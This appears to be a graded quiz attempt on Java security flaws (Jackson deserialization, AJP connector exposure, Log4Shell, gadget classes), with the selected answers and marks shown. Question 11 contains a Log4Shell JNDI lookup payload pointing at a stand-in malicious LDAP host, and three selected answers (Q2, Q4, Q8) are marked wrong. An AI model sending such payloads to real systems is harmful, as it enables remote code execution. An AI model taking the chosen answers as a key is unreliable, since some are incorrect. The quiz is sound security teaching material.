Started on	Wednesday, 19 March 2025, 4:36 PM
State	Finished
Completed on	Wednesday, 19 March 2025, 4:42 PM
Time taken	6 mins 7 secs
Marks	9.00/12.00
Grade	**75.00** out of 100.00

Question 1

Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

○ a. By exploiting weak encryption in the JSON keys
● b. By sending a JSON payload containing dangerous `@type` metadata
○ c. By passing a URL that bypasses authentication checks
○ d. By injecting SQL queries into the serialized JSON

Question 2

Complete

Mark 0.00 out of 1.00

How can the risk associated with AJP be mitigated?

○ a. Using a different logging library
○ b. Restricting AJP traffic to trusted hosts and setting a secret
● c. Upgrading to the latest version of Java
○ d. Disabling HTTPS and using HTTP only

Question 3

Complete

Mark 1.00 out of 1.00

What caused the Jackson Databind deserialization vulnerability?

○ a. The absence of any type handling logic
○ b. Insufficient logging mechanisms
○ c. The use of outdated cryptographic algorithms
● d. A flaw in the handling of polymorphic types

Question 4

Complete

Mark 0.00 out of 1.00

What configuration change can help prevent Log4Shell attacks?

○ a. Disabling log rotation in Log4j

○ b. Increasing the logging level to DEBUG

○ c. Setting `log4j2.formatMsgNoLookups=true`

● d. Using a firewall to block all incoming traffic

Question 5

Complete

Mark 1.00 out of 1.00

What is a gadget class in the context of deserialization vulnerabilities?

● a. A class that can be exploited during deserialization to perform unintended actions

○ b. A class that logs all serialization and deserialization events

○ c. A utility class that simplifies JSON handling

○ d. A class that implements only the `Serializable` interface without methods

Question 6

Complete

Mark 1.00 out of 1.00

What is one major security risk of exposing an AJP connector to the internet?

○ a. It can allow attackers to perform DNS cache poisoning.

● b. It can lead to remote code execution through deserialization exploits.

○ c. It causes encryption keys to be logged in plain text.

○ d. It makes the application vulnerable to Cross-Site Scripting (XSS).

Question 7

Complete

Mark 1.00 out of 1.00

What is the primary mitigation for the Jackson deserialization vulnerability?

○ a. Using prepared statements for database queries

○ b. Disabling all JSON handling in the application

○ c. Switching to XML instead of JSON

● d. Upgrading to a patched version of Jackson and whitelisting allowed types

Question 8

Complete

Mark 0.00 out of 1.00

What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- ○ a. A lack of secure password storage in Log4j
- ● b. Unpatched vulnerabilities in the LDAP server
- ○ c. Improper token validation in Log4j
- ○ d. A remote code execution flaw in the JNDI lookup feature

Question 9

Complete

Mark 1.00 out of 1.00

What role does the AJP connector play in a Tomcat-based application?

- ○ a. It handles file uploads from the client.
- ○ b. It is responsible for TLS encryption of all HTTP requests.
- ● c. It serves as a bridge between a web server and Tomcat for request forwarding.
- ○ d. It acts as a database connection pool manager.

Question 10

Complete

Mark 1.00 out of 1.00

What type of action might a gadget class perform when deserialized?

- ○ a. Automatically hash all fields using SHA-256
- ○ b. Send email alerts to the system administrator
- ● c. Write files or execute code without explicit calls from the application
- ○ d. Automatically compress large objects in memory

Question 11

Complete

Mark 1.00 out of 1.00

Which input could trigger the Log4Shell vulnerability?

- ○ a. `<script>alert('XSS')</script>`
- ○ b. `GET /login HTTP/1.1`
- ○ c. `{ "username": "admin", "password": "password123" }`
- ● d. `${jndi:ldap://malicious-server.com/a}`

Question 12

Complete

Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

○ a. Common libraries are more likely to be open source and freely available.

○ b. Common libraries are written in older programming languages.

● c. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.

○ d. Common libraries are more frequently updated and include additional features.